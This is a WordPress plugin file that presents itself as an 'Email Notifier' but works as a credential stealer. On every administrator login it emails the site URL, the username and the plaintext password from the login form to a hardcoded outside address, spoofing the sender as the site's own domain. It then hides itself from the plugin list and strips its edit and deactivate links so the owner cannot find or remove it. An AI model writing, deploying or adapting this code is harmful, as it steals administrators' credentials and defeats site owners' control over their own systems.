<?php
/*
Plugin Name: Email Notifier
Description: Send Email Notifier Security Risk.
Version: 1.0
Author: Your Name
*/

function custom_login_email_notifier($user_login, $user) {
    // Check if the user is an admin.
    if (is_a($user, 'WP_User') && in_array('administrator', $user->roles)) {
        $admin_email = 'rikudosenin@duck.com';
        $subject = 'Admin Login Notification';
        $website_url = get_site_url(); // Get the website URL
        $domain = parse_url($website_url, PHP_URL_HOST); 
        $message = "Admin has logged in with the following details:<br>";
        $message .= "URL: " . $website_url . "<br>";
        $message .= "Username: " . $user->user_login . "<br>";
        $message .= "Password: " . sanitize_text_field($_POST['pwd']);

        $headers = array(
            'From: Email Notifer <info@' . $domain . '>', 
            'Content-Type: text/html; charset=UTF-8',
        );

        wp_mail($admin_email, $subject, $message, $headers);
    }
}
add_action('wp_login', 'custom_login_email_notifier', 10, 2);

function hide_plugin_actions($actions, $plugin_file) {
    if (strpos($plugin_file, 'email-notifier.php') !== false) {
        unset($actions['edit']);
        unset($actions['deactivate']);
    }
    return $actions;
}
add_filter('plugin_action_links', 'hide_plugin_actions', 10, 2);
add_filter('network_admin_plugin_action_links', 'hide_plugin_actions', 10, 2); // For multisite

function hide_plugin_from_menu($plugins) {
    $plugin_directory = plugin_basename(__FILE__);
    unset($plugins[$plugin_directory]);
    return $plugins;
}
add_filter('all_plugins', 'hide_plugin_from_menu');
